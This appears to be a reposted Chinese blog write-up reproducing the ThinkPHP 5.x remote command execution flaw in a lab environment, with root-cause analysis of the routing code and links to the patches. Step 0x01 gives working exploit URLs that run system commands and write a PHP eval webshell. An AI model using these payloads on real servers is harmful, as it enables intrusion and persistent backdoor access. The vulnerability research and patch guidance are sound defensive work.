0x00复现环境

ThinkPHP 5.x (v5.0.23及v5.1.31以下版本) 远程命令执行漏洞利用(GetShell)

0x01步骤

  1. 点击start to hack 进入环境页面 run the project 然后访问给出的target address
    执行系统命令显示目录下文件
    http://aaa.vsplate.me:52763/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l

  2. 执行phpinfo
    http://aaa.vsplate.me/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20'phpinfo();'

  3. 写shell

    http://aaa.vsplate.me/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php
    想你所想,发挥创意

0x02漏洞原理分析

关键代码


在修复之前程序未对控制器进行过滤,导致攻 击 者可以通过引入 \ 符号来调用任意类方法。

$this -> app -> controller 方法来实例化控制器,然后调用实例中的方法。
follow the controller method:thinkphp/library/think/App.php

通过parseModuleAndClass方法解析出$module和$class,实例化$class。

thinkphp / library / think /App.php


当$name以反斜线\开始时直接将其作为类名。
利用命名空间的特点,如果可以控制此处的$name(即路由中的controller部分),那么就可以实例化任何一个类。

thinkphp/library/think/route/Rule.php
往回看路由解析的代码,其中route/dispatch/Url.php:: parseUrl方法调用了route/Rule.php:: parseUrlPath来解析pathinfo中的路由信息

route/dispatch/Url.php

route/Rule.php


使用/对$url进行分割,未进行任何过滤。

路由url从Request::path()中获取

其中,我们来看一下pathinfo函数

由于var_pathinfo的默认配置为s,我们可利用$_GET['s']来传递路由信息,也可利用pathinfo来传递
但测试时windows环境下会将$_SERVER['pathinfo']中的\替换为/。结合前面分析可得初步利用代码如下:
index.php?s=index/\namespace\class/method
这将会实例化\namespace\class类并执行method方法

0x03 漏洞PoC

使用的是pocsuite框架

0x04 漏洞修复

Thinkphp v5.0.x补丁地址: https://github.com/top-think/framework/commit/b797d72352e6b4eb0e11b6bc2a2ef25907b7756f

Thinkphp v5.1.x补丁地址: https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815

0x05 漏洞利用(目前出现的***手段)

威胁预警 | ThinkPHP v5新漏洞***案例首曝光

0x06 reference

http://www.vulnspy.com/cn-thinkphp-5.x-rce/thinkphp_5.x_(v5.0.23%E5%8F%8Av5.1.31%E4%BB%A5%E4%B8%8B%E7%89%88%E6%9C%AC)_%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8%EF%BC%88getshell%EF%BC%89/

【2019-1-24更新】发现大佬们的动态调试 下一个复现可以试一试

转载于:https://blog.51cto.com/11834557/2328927

【漏洞复现】ThinkPHP5 5.x 远程命令执行(getshell)相关推荐

  1. 漏洞复现----6、Jenkins远程命令执行漏洞(CVE-2018-1000861)

    文章目录 一.Jenkins简介 二.CVE-2018-1000861简介 三.漏洞复现 一.Jenkins简介 Jenkins是一个独立的开源自动化服务器,由JAVA开发. 可用于自动化各种任务,如 ...

  2. 【漏洞复现】CNVD-2022-10270向日葵远程代码执行

    声明:本文内容仅供学习参考 目录 声明:本文内容仅供学习参考 一.漏洞介绍 二.影响范围 三.漏洞复现 复现思路一: 复现思路二: 一.漏洞介绍 向日葵远程控制是上海贝锐信息科技股份有限公司开发的一款 ...

  3. war包启动命令_【漏洞预警】Oracle WebLogic远程命令执行0day漏洞(CVE20192725补丁绕过)...

    概述 近日,奇安信天眼与安服团队通过数据监控发现,野外出现Oracle WebLogic远程命令执行漏洞最新利用代码,此攻击利用绕过了厂商今年4月底所发布的最新安全补丁(CVE-2019-2725). ...

  4. 【漏洞复现】IE 浏览器远程代码执行漏洞(CVE-2018-8174)

    一.CVE-2018-8174(本质是 Windows VBScript Engine 代码执行漏洞) 由于 VBScript 脚本执行引擎(vbscript.dll)存在代码执行漏洞,攻击者可以将恶 ...

  5. 【漏洞复现】IE 浏览器远程代码执行漏洞

    Windows VBScript Engine 代码执行漏洞(CVE-2018-8174) 在2018年5月9日的时候360发表了一份apt攻击分析及溯源报告 文中提到了cve-2018-8174这个 ...

  6. MS08-067 (CVE-2008-4250) 远程命令执行漏洞

    文章目录 前言 一.漏洞简介 二.影响范围 三.漏洞危害 四.本地复现 五.补丁编号 六. Windows Server 2003 SP2 中文版利用方法 七.漏洞原理深度剖析 前言 本文为08年出现 ...

  7. ThinkPHP V5.0.5漏洞_ThinkPHP 5.x 远程命令执行漏洞分析与复现

    php中文网最新课程 每日17点准时技术干货分享 0x00 前言 ThinkPHP 官方 2018 年 12 月 9 日发布重要的安全更新,修复了一个严重的远程代码执行漏洞.该更新主要涉及一个安全更新 ...

  8. PHPMailer远程命令执行漏洞复现

    ​PHPMailer远程命令执行漏洞复现 一.漏洞简介 PHPMailer是PHP电子邮件创建及传输类,用于多个开源项目:WordPress, Drupal, 1CRM, SugarCRM, Yii, ...

  9. 开源堡垒机JumpServer远程命令执行漏洞复现

    声明 好好学习,天天向上 漏洞描述 JumpServer 是全球首款完全开源的堡垒机, 使用GNU GPL v2.0 开源协议, 是符合4A 的专业运维审计系统.JumpServer 使用Python ...

最新文章

  1. [WTL] STLport安装指南
  2. 计算器百分号如何用代码实现_如何用 100 行 Python 代码实现新闻爬虫?这样可算成功?...
  3. TensorFlow 深入MNIST
  4. js中函数对象的方法,原型方法apply、call、bind、toString、toLocaleString、valueOf
  5. (转自YYW'S BLOG)IListT 转换成 DataSet
  6. 精通Linux Unix Shell编程电子书免费分享
  7. arm架构与体系结构
  8. 河南省旅馆业信息化管理实现“人证核验、无证入住”系统全覆盖
  9. 单片机算法c语言程序,51单片机PID的算法实现程序C语言
  10. 没基础,也可一文看懂 python 中的 csv 模块
  11. 34-高级路由:BGP汇总:实验五 route-map+suppress-map过滤、as-set
  12. 华为服务器2488H V6的ibmc接口配置
  13. 华为nova7星耀版和华为nova7普通版 的区别 哪个好
  14. 前端Ajax实现预览TXT文档(兼容UTF-8,ANCII,Unicode)
  15. 2021年高考成绩查询衡阳市八中,衡阳市八大名校2020年高考成绩斐然,金榜题名正当时...
  16. OCR的java开源库
  17. Spring官方文档通读-部分一
  18. 微信小程序 - Unhandled promise rejection TypeError: r.Canvas is not a constructor
  19. linux直流电机测试,电机与动力系统测试
  20. SVGA实现动画-解决本地引用无效

热门文章

  1. ArcGIS Engine开发前基础知识(4)
  2. PAT-B 1007.素数对猜想
  3. MySQL入门系列:存储程序(二)之存储函数简介
  4. 微软宣布Azure Function支持Python
  5. Lync与Exchange 2013 UM集成配置
  6. 转转转![Spring MVC] - 500/404错误处理-SimpleMappingExceptionResolver
  7. NODE-WEBKIT教程(12)全屏
  8. Spring学习总结(18)——Spring整合Mysql数据库一主多从、多主多从配置
  9. C++对象模型学习——站在对象模型的尖端
  10. 返回语句C语言return关键字